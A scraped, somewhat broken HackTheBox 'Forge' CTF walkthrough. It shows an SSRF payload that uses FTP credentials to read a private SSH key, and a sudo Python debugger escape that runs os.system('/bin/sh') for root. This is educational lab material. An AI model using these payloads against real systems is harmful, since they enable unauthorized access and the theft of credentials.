Hacking Articles|Raj Chandel's Blog Forge HackTheBox Walkthrough IntroductionForge is a CTF linux box rated “medium” on the difficulty scale on HackTheBox platform. The box covers subdomain enumeration, SSRF attacks and basic reverse engineering of python…
I could see the website trying to fetch shell.php. There were a few notable things here:ExploitationNow that it had been established the server tries to fetch a remote file, we can work our way up to exploitation from here. My first instinct was to access admin.forge.htb using this remote URL functionality as that page was only accessible using localhost. So, I was able to do that like this but encountered yet another problem!http://ADMIN.FORGE.htb/announcements
curl http://forge.htb/uploads/ps14SjF8useIEk0VOao1Important things inferred from this result were:http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/https://blogger.googleusercontent.com/img/a/AVvXsEhfv26cQ9ojc67BZw_jA4f8zcjR9S7fpmYwX02MlXB9TuE0jtkHzTyIYoAWEcDt0aAsOkeJVEXOiCH1hd08NtC0EuiiNt1A7qNXxjGT7M9rqzUYTl54sYoi6n4Xz91BafKoQcnuLvHvW9kJ4mKQ1TCD2yfK24sec8JvukRFKRJDLNxBlPkyGeMvwIr2lw=s16000 Now, if I can access user.txt, I might also be able to access private SSH key. I did that using this payload:http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEgMmSV22O_mmQATbUymFYi5GN3n5L8LbNZPm9SH6dFYp9xfmmzQtOfTCvGIY83fuj9RB8U71dALTCZkXNf8AW6vJXBxYGCwA0PqPk-jFKcR_2-wqLnAHM4nigVStEwPszBoNl2ZYvkRZ93M2ZUwP3mc5IGAxY4Cg32_pYBiD123-uY_yIsJuyvvEG4WFQ=s16000 Saving that key in my local system we can log into the victim box.nano id_rsa

aLQ=s16000 Privilege EscalationNow that we had a stable prompt we could advance for privilege escalation. I checked the sudoers file which had a python script allowed to run as root. This script opens up a listener for remote clients to connect. Also, it compares the input password with hardcoded credential secretadminpasswordsudo /usr/bin/python3 /opt/remote-manage.py

You will notice that this script is flawed. As soon as I input anything other than “secretadminpassword” it throws an exception and opens up Python Debugger.import os;os.system(“/bin/sh”)

We covered subdomain enumeration, SSRF and basic Python reverse engineering in this box. Hope you liked this article. Thanks for reading.___________________________
